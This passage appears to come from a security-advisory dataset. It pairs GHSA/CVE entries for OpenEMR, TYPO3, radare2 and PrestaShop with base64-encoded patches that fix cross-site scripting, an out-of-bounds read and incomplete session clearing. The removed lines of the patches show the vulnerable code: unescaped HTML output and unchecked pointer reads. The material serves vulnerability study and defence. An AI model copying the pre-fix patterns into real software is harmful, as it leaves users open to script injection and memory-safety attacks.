worICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgPHRkPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRkYmFzZSwgRU5UX05PUVVPVEVTKSAuICI8L3RkPlxuIjsKIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGNvbmZpZykgewotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgIDx0ZCBjb2xzcGFuPSczJz48YSBocmVmPSdzZXR1cC5waHA/c2l0ZT0kc2ZuYW1lJyBjbGFzcz0ndGV4dC1kZWNvcmF0aW9uLW5vbmUnPk5lZWRzIHNldHVwLCBjbGljayBoZXJlIHRvIHJ1biBpdDwvYT48L3RkPlxuIjsKKyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiICA8dGQgY29sc3Bhbj0nMyc+PGEgaHJlZj0nc2V0dXAucGhwP3NpdGU9IiAuIGh0bWxzcGVjaWFsY2hhcnModXJsZW5jb2RlKCRzZm5hbWUpLCBFTlRfUVVPVEVTKSAuICInIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSc+TmVlZHMgc2V0dXAsIGNsaWNrIGhlcmUgdG8gcnVuIGl0PC9hPjwvdGQ+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkZXJybXNnKSB7Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgPHRkIGNvbHNwYW49JzMnIGNsYXNzPSd0ZXh0LWRhbmdlcic+JGVycm1zZzwvdGQ+XG4iOworICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgIDx0ZCBjb2xzcGFuPSczJyBjbGFzcz0ndGV4dC1kYW5nZXInPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRlcnJtc2csIEVOVF9OT1FVT1RFUykgLiAiPC90ZD5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gR2V0IHNpdGUgbmFtZSBmb3IgZGlzcGxheS4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJvdyA9IHNxbFF1ZXJ5KCJTRUxFQ1QgZ2xfdmFsdWUgRlJPTSBnbG9iYWxzIFdIRVJFIGdsX25hbWUgPSAnb3BlbmVtcl9uYW1lJyBMSU1JVCAxIiwgJGRiaCk7CkBAIC0xNTIsMjAgKzE1MiwyMCBAQCBmdW5jdGlvbiBzcWxRdWVyeSgkc3RhdGVtZW50LCAkbGluaykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIERpc3BsYXkgcmVsZXZhbnQgY29sdW1ucy4KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiICA8dGQ+JG9wZW5lbXJfbmFtZTwvdGQ+XG4iOwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgIDx0ZD4kb3BlbmVtcl92ZXJzaW9uPC90ZD5cbiI7CisgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgPHRkPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRvcGVuZW1yX25hbWUsIEVOVF9OT1FVT1RFUykgLiAiPC90ZD5cbiI7CisgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgPHRkPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRvcGVuZW1yX3ZlcnNpb24sIEVOVF9OT1FVT1RFUykgLiAiPC90ZD5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdl9kYXRhYmFzZSAhPSAkZGF0YWJhc2VfdmVyc2lvbikgewotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiICA8dGQ+PGEgaHJlZj0nc3FsX3VwZ3JhZGUucGhwP3NpdGU9JHNmbmFtZScgY2xhc3M9J3RleHQtZGVjb3JhdGlvbi1ub25lJz5VcGdyYWRlIERhdGFiYXNlPC9hPjwvdGQ+XG4iOworICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiICA8dGQ+PGEgaHJlZj0nc3FsX3VwZ3JhZGUucGhwP3NpdGU9IiAuIGh0bWxzcGVjaWFsY2hhcnModXJsZW5jb2RlKCRzZm5hbWUpLCBFTlRfUVVPVEVTKSAuICInIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSc+VXBncmFkZSBEYXRhYmFzZTwvYT48L3RkPlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCgkdl9hY2wgPiAkZGF0YWJhc2VfYWNsKSkgewotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiICA8dGQ+PGEgaHJlZj0nYWNsX3VwZ3JhZGUucGhwP3NpdGU9JHNmbmFtZScgY2xhc3M9J3RleHQtZGVjb3JhdGlvbi1ub25lJz5VcGdyYWRlIEFjY2VzcyBDb250cm9sczwvYT48L3RkPlxuIjsKKyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgPHRkPjxhIGhyZWY9J2FjbF91cGdyYWRlLnBocD9zaXRlPSIgLiBodG1sc3BlY2lhbGNoYXJzKHVybGVuY29kZSgkc2ZuYW1lKSwgRU5UX1FVT1RFUykgLiAiJyBjbGFzcz0ndGV4dC1kZWNvcmF0aW9uLW5vbmUnPlVwZ3JhZGUgQWNjZXNzIENvbnRyb2xzPC9hPjwvdGQ+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoKCR2X3JlYWxwYXRjaCAhPSAkZGF0YWJhc2VfcGF0Y2gpKSB7Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgIDx0ZD48YSBocmVmPSdzcWxfcGF0Y2gucGhwP3NpdGU9JHNmbmFtZScgY2xhc3M9J3RleHQtZGVjb3JhdGlvbi1ub25lJz5QYXRjaCBEYXRhYmFzZTwvYT48L3RkPlxuIjsKKyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgPHRkPjxhIGhyZWY9J3NxbF9wYXRjaC5waHA/c2l0ZT0iIC4gaHRtbHNwZWNpYWxjaGFycyh1cmxlbmNvZGUoJHNmbmFtZSksIEVOVF9RVU9URVMpIC4gIicgY2xhc3M9J3RleHQtZGVjb3JhdGlvbi1ub25lJz5QYXRjaCBEYXRhYmFzZTwvYT48L3RkPlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgPHRkPjxpIGNsYXNzPSdmYSBmYS1jaGVjayBmYS1sZyB0ZXh0LXN1Y2Nlc3MnIGFyaWEtaGlkZGVuPSd0cnVlJyA+PC9pPjwvYT48L3RkPlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCR2X2RhdGFiYXNlID09ICRkYXRhYmFzZV92ZXJzaW9uKSAmJiAoJHZfYWNsIDw9ICRkYXRhYmFzZV9hY2wpICYmICgkdl9yZWFscGF0Y2ggPT0gJGRhdGFiYXNlX3BhdGNoKSkgewotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiICA8dGQ+PGEgaHJlZj0naW50ZXJmYWNlL2xvZ2luL2xvZ2luLnBocD9zaXRlPSRzZm5hbWUnIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSc+PGkgY2xhc3M9J2ZhIGZhLXNpZ24taW4tYWx0IGZhLWxnJyBhcmlhLWhpZGRlbj0ndHJ1ZScgZGF0YS10b2dnbGU9J3Rvb2x0aXAnIGRhdGEtcGxhY2VtZW50PSd0b3AnIHRpdGxlID0nTG9naW4gdG8gc2l0ZSAkc2ZuYW1lJz48L2k+PC9hPjwvdGQ+XG4iOwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiICA8dGQ+PGEgaHJlZj0ncG9ydGFsL2luZGV4LnBocD9zaXRlPSRzZm5hbWUnIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSc+PGkgY2xhc3M9J2ZhIGZhLXNpZ24taW4tYWx0IGZhLWxnJyBhcmlhLWhpZGRlbj0ndHJ1ZScgZGF0YS10b2dnbGU9J3Rvb2x0aXAnIGRhdGEtcGxhY2VtZW50PSd0b3AnIHRpdGxlID0nTG9naW4gdG8gc2l0ZSAkc2ZuYW1lJz48L2k+PC9hPjwvdGQ+XG4iOworICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiICA8dGQ+PGEgaHJlZj0naW50ZXJmYWNlL2xvZ2luL2xvZ2luLnBocD9zaXRlPSIgLiBodG1sc3BlY2lhbGNoYXJzKHVybGVuY29kZSgkc2ZuYW1lKSwgRU5UX1FVT1RFUykgLiAiJyBjbGFzcz0ndGV4dC1kZWNvcmF0aW9uLW5vbmUnPjxpIGNsYXNzPSdmYSBmYS1zaWduLWluLWFsdCBmYS1sZycgYXJpYS1oaWRkZW49J3RydWUnIGRhdGEtdG9nZ2xlPSd0b29sdGlwJyBkYXRhLXBsYWNlbWVudD0ndG9wJyB0aXRsZSA9J0xvZ2luIHRvIHNpdGUgIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNmbmFtZSwgRU5UX1FVT1RFUykgLiAiJz48L2k+PC9hPjwvdGQ+XG4iOworICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiICA8dGQ+PGEgaHJlZj0ncG9ydGFsL2luZGV4LnBocD9zaXRlPSIgLiBodG1sc3BlY2lhbGNoYXJzKHVybGVuY29kZSgkc2ZuYW1lKSwgRU5UX1FVT1RFUykgLiAiJyBjbGFzcz0ndGV4dC1kZWNvcmF0aW9uLW5vbmUnPjxpIGNsYXNzPSdmYSBmYS1zaWduLWluLWFsdCBmYS1sZycgYXJpYS1oaWRkZW49J3RydWUnIGRhdGEtdG9nZ2xlPSd0b29sdGlwJyBkYXRhLXBsYWNlbWVudD0ndG9wJyB0aXRsZSA9J0xvZ2luIHRvIHNpdGUgIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNmbmFtZSwgRU5UX1FVT1RFUykgLiAiJz48L2k+PC9hPjwvdGQ+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiICA8dGQ+PGkgY2xhc3M9J2ZhIGZhLWJhbiBmYS1sZyB0ZXh0LXNlY29uZGFyeScgYXJpYS1oaWRkZW49J3RydWUnPjwvaT48L3RkPlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgPHRkPjxpIGNsYXNzPSdmYSBmYS1iYW4gZmEtbGcgdGV4dC1zZWNvbmRhcnknIGFyaWEtaGlkZGVuPSd0cnVlJz48L2k+PC90ZD5cbiI7", "url": "https://github.com/openemr/openemr/commit/8d2d601ac40aca75bcd2c3cf193f59c8e56d8425.patch" } ]
null
GHSA-75mx-chcf-2q32
TYPO3 Cross-Site Scripting vulnerability in typolinks
null
[ { "commit_message": "[PATCH] [SECURITY] Link fields accept inline javascript code JavaScript can be submitted for every link field and will be rendered in the frontend passed through typolink. To circumvent that, the URI scheme and prefix \"javascript:\" will be disallowed. The extension \"javascript_handler\" allows however to bring back that insecure behavior since some installations might rely on it. Resolves: #71698 Releases: master, 6.2 Security-Commit: c9f5b7ced589c2d58a8c6099e5491923ace2e9a7 Security-Bulletins: TYPO3-CORE-SA-2015-010, 011, 012, 013, 014, 015 Change-Id: I5a0bcb990686fa1e768974afe561f6b195906552 Reviewed-on: https://review.typo3.org/45265 Reviewed-by: Oliver Hader <oliver.hader@typo3.org> Tested-by: Oliver Hader <oliver.hader@typo3.org> .../frontend/Classes/ContentObject/ContentObjectRenderer.php | 3 +++ 1 file changed, 3 insertions(+)", "patch_text_b64": "RnJvbSAyNWExNDczOTA3ZjBmNGIyYmIwMTQ3YzY2MTk4MTk0MGM1N2E0NTU1IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBPbGl2ZXIgSGFkZXIgPG9saXZlckB0eXBvMy5vcmc+CkRhdGU6IFR1ZSwgMTUgRGVjIDIwMTUgMTE6MzM6NDggKzAxMDAKU3ViamVjdDogW1BBVENIXSBbU0VDVVJJVFldIExpbmsgZmllbGRzIGFjY2VwdCBpbmxpbmUgamF2YXNjcmlwdCBjb2RlCgpKYXZhU2NyaXB0IGNhbiBiZSBzdWJtaXR0ZWQgZm9yIGV2ZXJ5IGxpbmsgZmllbGQgYW5kIHdpbGwgYmUKcmVuZGVyZWQgaW4gdGhlIGZyb250ZW5kIHBhc3NlZCB0aHJvdWdoIHR5cG9saW5rLiBUbyBjaXJjdW12ZW50CnRoYXQsIHRoZSBVUkkgc2NoZW1lIGFuZCBwcmVmaXggImphdmFzY3JpcHQ6IiB3aWxsIGJlIGRpc2FsbG93ZWQuCgpUaGUgZXh0ZW5zaW9uICJqYXZhc2NyaXB0X2hhbmRsZXIiIGFsbG93cyBob3dldmVyIHRvIGJyaW5nIGJhY2sKdGhhdCBpbnNlY3VyZSBiZWhhdmlvciBzaW5jZSBzb21lIGluc3RhbGxhdGlvbnMgbWlnaHQgcmVseSBvbiBpdC4KClJlc29sdmVzOiAjNzE2OTgKUmVsZWFzZXM6IG1hc3RlciwgNi4yClNlY3VyaXR5LUNvbW1pdDogYzlmNWI3Y2VkNTg5YzJkNThhOGM2MDk5ZTU0OTE5MjNhY2UyZTlhNwpTZWN1cml0eS1CdWxsZXRpbnM6IFRZUE8zLUNPUkUtU0EtMjAxNS0wMTAsIDAxMSwgMDEyLCAwMTMsIDAxNCwgMDE1CkNoYW5nZS1JZDogSTVhMGJjYjk5MDY4NmZhMWU3Njg5NzRhZmU1NjFmNmIxOTU5MDY1NTIKUmV2aWV3ZWQtb246IGh0dHBzOi8vcmV2aWV3LnR5cG8zLm9yZy80NTI2NQpSZXZpZXdlZC1ieTogT2xpdmVyIEhhZGVyIDxvbGl2ZXIuaGFkZXJAdHlwbzMub3JnPgpUZXN0ZWQtYnk6IE9saXZlciBIYWRlciA8b2xpdmVyLmhhZGVyQHR5cG8zLm9yZz4KLS0tCiAuLi4vZnJvbnRlbmQvQ2xhc3Nlcy9Db250ZW50T2JqZWN0L0NvbnRlbnRPYmplY3RSZW5kZXJlci5waHAgICB8IDMgKysrCiAxIGZpbGUgY2hhbmdlZCwgMyBpbnNlcnRpb25zKCspCgpkaWZmIC0tZ2l0IGEvdHlwbzMvc3lzZXh0L2Zyb250ZW5kL0NsYXNzZXMvQ29udGVudE9iamVjdC9Db250ZW50T2JqZWN0UmVuZGVyZXIucGhwIGIvdHlwbzMvc3lzZXh0L2Zyb250ZW5kL0NsYXNzZXMvQ29udGVudE9iamVjdC9Db250ZW50T2JqZWN0UmVuZGVyZXIucGhwCmluZGV4IGRmYTg5ZGY5YjlkNS4uNDFkOGNlODhkNzkwIDEwMDY0NAotLS0gYS90eXBvMy9zeXNleHQvZnJvbnRlbmQvQ2xhc3Nlcy9Db250ZW50T2JqZWN0L0NvbnRlbnRPYmplY3RSZW5kZXJlci5waHAKKysrIGIvdHlwbzMvc3lzZXh0L2Zyb250ZW5kL0NsYXNzZXMvQ29udGVudE9iamVjdC9Db250ZW50T2JqZWN0UmVuZGVyZXIucGhwCkBAIC01ODIxLDYgKzU4MjEsOSBAQCBwdWJsaWMgZnVuY3Rpb24gdHlwb0xpbmsoJGxpbmt0eHQsICRjb25mKSB7CiAJCQkJCS8vIFJlc291cmNlIHdhcyBub3QgZm91bmQKIAkJCQkJcmV0dXJuICRsaW5rdHh0OwogCQkJCX0KKwkJCS8vIERpc2FsbG93IGRpcmVjdCBqYXZhc2NyaXB0OiBsaW5rcworCQkJfSBlbHNlaWYgKHN0cnRvbG93ZXIodHJpbSgkbGlua0hhbmRsZXJLZXl3b3JkKSkgPT09ICdqYXZhc2NyaXB0JykgeworCQkJCXJldHVybiAkbGlua3R4dDsKIAkJCX0KIAkJCS8vIExpbmsgcGFyYW1ldGVyIHZhbHVlCiAJCQkkbGlua19wYXJhbSA9IHRyaW0oJGxpbmtfcGFyYW1BWzBdKTs=", "url": "https://github.com/TYPO3/typo3/commit/25a1473907f0f4b2bb0147c661981940c57a4555.patch" }, { "commit_message": "[PATCH] [SECURITY] Link fields accept inline javascript code JavaScript can be submitted for every link field and will be rendered in the frontend passed through typolink. To circumvent that, the URI scheme and prefix \"javascript:\" will be disallowed. The extension \"javascript_handler\" allows however to bring back that insecure behavior since some installations might rely on it. Resolves: #71698 Releases: master, 6.2 Security-Commit: c854186c419f26a109afaf068149a58ef1745f32 Security-Bulletins: TYPO3-CORE-SA-2015-010, 011, 012, 013, 014, 015 Change-Id: I7dbed505624718010023cd8192ff7174a6a43fa6 Reviewed-on: https://review.typo3.org/45277 Reviewed-by: Oliver Hader <oliver.hader@typo3.org> Tested-by: Oliver Hader <oliver.hader@typo3.org> .../frontend/Classes/ContentObject/ContentObjectRenderer.php | 3 +++ 1 file changed, 3 insertions(+)", "patch_text_b64": "RnJvbSBkZTE3NTVhNmRjZmY5YjAzN2M2ZDVhMWZhMzQwYmExMDBhZmYwNTRhIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBPbGl2ZXIgSGFkZXIgPG9saXZlckB0eXBvMy5vcmc+CkRhdGU6IFR1ZSwgMTUgRGVjIDIwMTUgMTE6MzY6NDQgKzAxMDAKU3ViamVjdDogW1BBVENIXSBbU0VDVVJJVFldIExpbmsgZmllbGRzIGFjY2VwdCBpbmxpbmUgamF2YXNjcmlwdCBjb2RlCgpKYXZhU2NyaXB0IGNhbiBiZSBzdWJtaXR0ZWQgZm9yIGV2ZXJ5IGxpbmsgZmllbGQgYW5kIHdpbGwgYmUKcmVuZGVyZWQgaW4gdGhlIGZyb250ZW5kIHBhc3NlZCB0aHJvdWdoIHR5cG9saW5rLiBUbyBjaXJjdW12ZW50CnRoYXQsIHRoZSBVUkkgc2NoZW1lIGFuZCBwcmVmaXggImphdmFzY3JpcHQ6IiB3aWxsIGJlIGRpc2FsbG93ZWQuCgpUaGUgZXh0ZW5zaW9uICJqYXZhc2NyaXB0X2hhbmRsZXIiIGFsbG93cyBob3dldmVyIHRvIGJyaW5nIGJhY2sKdGhhdCBpbnNlY3VyZSBiZWhhdmlvciBzaW5jZSBzb21lIGluc3RhbGxhdGlvbnMgbWlnaHQgcmVseSBvbiBpdC4KClJlc29sdmVzOiAjNzE2OTgKUmVsZWFzZXM6IG1hc3RlciwgNi4yClNlY3VyaXR5LUNvbW1pdDogYzg1NDE4NmM0MTlmMjZhMTA5YWZhZjA2ODE0OWE1OGVmMTc0NWYzMgpTZWN1cml0eS1CdWxsZXRpbnM6IFRZUE8zLUNPUkUtU0EtMjAxNS0wMTAsIDAxMSwgMDEyLCAwMTMsIDAxNCwgMDE1CkNoYW5nZS1JZDogSTdkYmVkNTA1NjI0NzE4MDEwMDIzY2Q4MTkyZmY3MTc0YTZhNDNmYTYKUmV2aWV3ZWQtb246IGh0dHBzOi8vcmV2aWV3LnR5cG8zLm9yZy80NTI3NwpSZXZpZXdlZC1ieTogT2xpdmVyIEhhZGVyIDxvbGl2ZXIuaGFkZXJAdHlwbzMub3JnPgpUZXN0ZWQtYnk6IE9saXZlciBIYWRlciA8b2xpdmVyLmhhZGVyQHR5cG8zLm9yZz4KLS0tCiAuLi4vZnJvbnRlbmQvQ2xhc3Nlcy9Db250ZW50T2JqZWN0L0NvbnRlbnRPYmplY3RSZW5kZXJlci5waHAgICB8IDMgKysrCiAxIGZpbGUgY2hhbmdlZCwgMyBpbnNlcnRpb25zKCspCgpkaWZmIC0tZ2l0IGEvdHlwbzMvc3lzZXh0L2Zyb250ZW5kL0NsYXNzZXMvQ29udGVudE9iamVjdC9Db250ZW50T2JqZWN0UmVuZGVyZXIucGhwIGIvdHlwbzMvc3lzZXh0L2Zyb250ZW5kL0NsYXNzZXMvQ29udGVudE9iamVjdC9Db250ZW50T2JqZWN0UmVuZGVyZXIucGhwCmluZGV4IDhhYjkyNTgwNWY5Zi4uN2VkZTBlYTM0OTBlIDEwMDY0NAotLS0gYS90eXBvMy9zeXNleHQvZnJvbnRlbmQvQ2xhc3Nlcy9Db250ZW50T2JqZWN0L0NvbnRlbnRPYmplY3RSZW5kZXJlci5waHAKKysrIGIvdHlwbzMvc3lzZXh0L2Zyb250ZW5kL0NsYXNzZXMvQ29udGVudE9iamVjdC9Db250ZW50T2JqZWN0UmVuZGVyZXIucGhwCkBAIC02MzExLDYgKzYzMTEsOSBAQCBwcm90ZWN0ZWQgZnVuY3Rpb24gcmVzb2x2ZU1peGVkTGlua1BhcmFtZXRlcigkbGlua1RleHQsICRtaXhlZExpbmtQYXJhbWV0ZXIsICYkYwogICAgICAgICAgICAgICAgIC8vIFJlc291cmNlIHdhcyBub3QgZm91bmQKICAgICAgICAgICAgICAgICByZXR1cm4gJGxpbmtUZXh0OwogICAgICAgICAgICAgfQorICAgICAgICAvLyBEaXNhbGxvdyBkaXJlY3QgamF2YXNjcmlwdDogbGlua3MKKyAgICAgICAgfSBlbHNlaWYgKHN0cnRvbG93ZXIodHJpbSgkbGlua0hhbmRsZXJLZXl3b3JkKSkgPT09ICdqYXZhc2NyaXB0JykgeworICAgICAgICAgICAgcmV0dXJuICRsaW5rVGV4dDsKICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICRsaW5rUGFyYW1ldGVyID0gJGxpbmtQYXJhbWV0ZXJQYXJ0c1sndXJsJ107CiAgICAgICAgIH0=", "url": "https://github.com/TYPO3/typo3/commit/de1755a6dcff9b037c6d5a1fa340ba100aff054a.patch" } ]
null
GHSA-52g2-334m-q3qr
null
[ { "commit_message": "[PATCH] Fix #10464 - oobread crash in mdmp (#10683) libr/bin/format/mdmp/mdmp.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-)", "patch_text_b64": "RnJvbSBlYjdkZWIyODFkZjU0NzcxZmI4ZWNmNTg5MGRjMzI1YTdkMjJkM2UyIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiByYWRhcmUgPHBhbmNha2VAbm9wY29kZS5vcmc+CkRhdGU6IE1vbiwgOSBKdWwgMjAxOCAxMzo1NTo0NSArMDIwMApTdWJqZWN0OiBbUEFUQ0hdIEZpeCAjMTA0NjQgLSBvb2JyZWFkIGNyYXNoIGluIG1kbXAgKCMxMDY4MykKCi0tLQogbGlici9iaW4vZm9ybWF0L21kbXAvbWRtcC5jIHwgMTUgKysrKysrKystLS0tLS0tCiAxIGZpbGUgY2hhbmdlZCwgOCBpbnNlcnRpb25zKCspLCA3IGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2xpYnIvYmluL2Zvcm1hdC9tZG1wL21kbXAuYyBiL2xpYnIvYmluL2Zvcm1hdC9tZG1wL21kbXAuYwppbmRleCBjM2Q2NmRkODVmZjZjLi5kMjNjYWJmODViMTE4IDEwMDY0NAotLS0gYS9saWJyL2Jpbi9mb3JtYXQvbWRtcC9tZG1wLmMKKysrIGIvbGlici9iaW4vZm9ybWF0L21kbXAvbWRtcC5jCkBAIC0zNjIsNyArMzYyLDcgQEAgc3RhdGljIGJvb2wgcl9iaW5fbWRtcF9pbml0X2RpcmVjdG9yeV9lbnRyeShzdHJ1Y3Qgcl9iaW5fbWRtcF9vYmogKm9iaiwgc3RydWN0IG0KIAkvKiBXZSBjb3VsZCBjb25maXJtIGRhdGEgc2l6ZXMgYnV0IGEgbWFsY2lvdXMgTURNUCB3aWxsIGFsd2F5cyBnZXQgYXJvdW5kCiAJKiogdGhpcyEgQnV0IHdlIGNhbiBlbnN1cmUgdGhhdCB0aGUgZGF0YSBpcyBub3Qgb3V0c2lkZSBvZiB0aGUgZmlsZSAqLwogCWlmIChlbnRyeS0+bG9jYXRpb24ucnZhICsgZW50cnktPmxvY2F0aW9uLmRhdGFfc2l6ZSA+IG9iai0+Yi0+bGVuZ3RoKSB7Ci0JCWVwcmludGYoIltFUlJPUl0gU2l6ZSBNaXNtYXRjaCAtIFN0cmVhbSBkYXRhIGlzIGxhcmdlciB0aGFuIGZpbGUgc2l6ZSFcbiIpOworCQllcHJpbnRmICgiW0VSUk9SXSBTaXplIE1pc21hdGNoIC0gU3RyZWFtIGRhdGEgaXMgbGFyZ2VyIHRoYW4gZmlsZSBzaXplIVxuIik7CiAJCXJldHVybiBmYWxzZTsKIAl9CiAKQEAgLTY0NiwxMCArNjQ2LDcgQEAgc3RhdGljIGJvb2wgcl9iaW5fbWRtcF9pbml0X2RpcmVjdG9yeV9lbnRyeShzdHJ1Y3Qgcl9iaW5fbWRtcF9vYmogKm9iaiwgc3RydWN0IG0KIAogc3RhdGljIGJvb2wgcl9iaW5fbWRtcF9pbml0X2RpcmVjdG9yeShzdHJ1Y3Qgcl9iaW5fbWRtcF9vYmogKm9iaikgewogCWludCBpOwotCXV0OCAqZGlyZWN0b3J5X2Jhc2U7Ci0Jc3RydWN0IG1pbmlkdW1wX2RpcmVjdG9yeSAqZW50cnk7Ci0KLQlkaXJlY3RvcnlfYmFzZSA9IG9iai0+Yi0+YnVmICsgb2JqLT5oZHItPnN0cmVhbV9kaXJlY3RvcnlfcnZhOworCXN0cnVjdCBtaW5pZHVtcF9kaXJlY3RvcnkgZW50cnk7CiAKIAlzZGJfbnVtX3NldCAob2JqLT5rdiwgIm1kbXBfZGlyZWN0b3J5Lm9mZnNldCIsCiAJCQlvYmotPmhkci0+c3RyZWFtX2RpcmVjdG9yeV9ydmEsIDApOwpAQCAtNjU4LDkgKzY1NSwxMyBAQCBzdGF0aWMgYm9vbCByX2Jpbl9tZG1wX2luaXRfZGlyZWN0b3J5KHN0cnVjdCByX2Jpbl9tZG1wX29iaiAqb2JqKSB7CiAJCQkiKG1kbXBfbG9jYXRpb25fZGVzY3JpcHRvcilMb2NhdGlvbiIsIDApOwogCiAJLyogUGFyc2UgZWFjaCBlbnRyeSBpbiB0aGUgZGlyZWN0b3J5ICovCisJdXQ2NCBydmFkaXIgPSBvYmotPmhkci0+c3RyZWFtX2RpcmVjdG9yeV9ydmE7CiAJZm9yIChpID0gMDsgaSA8IChpbnQpb2JqLT5oZHItPm51bWJlcl9vZl9zdHJlYW1zOyBpKyspIHsKLQkJZW50cnkgPSAoc3RydWN0IG1pbmlkdW1wX2RpcmVjdG9yeSAqKShkaXJlY3RvcnlfYmFzZSArIChpICogc2l6ZW9mIChzdHJ1Y3QgbWluaWR1bXBfZGlyZWN0b3J5KSkpOwotCQlyX2Jpbl9tZG1wX2luaXRfZGlyZWN0b3J5X2VudHJ5IChvYmosIGVudHJ5KTsKKwkJdXQzMiBkZWx0YSA9IGkgKiBzaXplb2YgKHN0cnVjdCBtaW5pZHVtcF9kaXJlY3RvcnkpOworCQlpbnQgciA9IHJfYnVmX3JlYWRfYXQgKG9iai0+YiwgcnZhZGlyICsgZGVsdGEsICh1dDgqKSAmZW50cnksIHNpemVvZiAoc3RydWN0IG1pbmlkdW1wX2RpcmVjdG9yeSkpOworCQlpZiAocikgeworCQkJcl9iaW5fbWRtcF9pbml0X2RpcmVjdG9yeV9lbnRyeSAob2JqLCAmZW50cnkpOworCQl9CiAJfQogCiAJcmV0dXJuIHRydWU7", "url": "https://github.com/radareorg/radare2/commit/eb7deb281df54771fb8ecf5890dc325a7d22d3e2.patch" } ]
null
CVE-2021-21308
Improper session management for soft logout
PrestaShop is a fully scalable open source e-commerce solution. In PrestaShop before version 1.7.2 the soft logout system is not complete and an attacker is able to foreign request and executes customer commands. The problem is fixed in 1.7.7.2
[ { "commit_message": "[PATCH] Make sure session is cleared using soft logout classes/Cookie.php | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSA3NTk2NDRjZjljOWQ4NDZiODI0NjgzYTA1ZjM0NTJmN2JmYWNiODk0IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBQaWVycmUgUkFNQkFVRCA8cGllcnJlLnJhbWJhdWRAcHJlc3Rhc2hvcC5jb20+CkRhdGU6IE1vbiwgOCBGZWIgMjAyMSAxMTozNTo1OCArMDEwMApTdWJqZWN0OiBbUEFUQ0hdIE1ha2Ugc3VyZSBzZXNzaW9uIGlzIGNsZWFyZWQgdXNpbmcgc29mdCBsb2dvdXQKCi0tLQogY2xhc3Nlcy9Db29raWUucGhwIHwgMyArKy0KIDEgZmlsZSBjaGFuZ2VkLCAyIGluc2VydGlvbnMoKyksIDEgZGVsZXRpb24oLSkKCmRpZmYgLS1naXQgYS9jbGFzc2VzL0Nvb2tpZS5waHAgYi9jbGFzc2VzL0Nvb2tpZS5waHAKaW5kZXggMTA5ZWI4NWQ4ZmRlMS4uMTFlNTUxMzFlYmUwYSAxMDA2NDQKLS0tIGEvY2xhc3Nlcy9Db29raWUucGhwCisrKyBiL2NsYXNzZXMvQ29va2llLnBocApAQCAtMjYyLDYgKzI2Miw3IEBAIHB1YmxpYyBmdW5jdGlvbiBsb2dvdXQoKQogICAgICAqLwogICAgIHB1YmxpYyBmdW5jdGlvbiBteWxvZ291dCgpCiAgICAgeworICAgICAgICAkdGhpcy0+ZGVsZXRlU2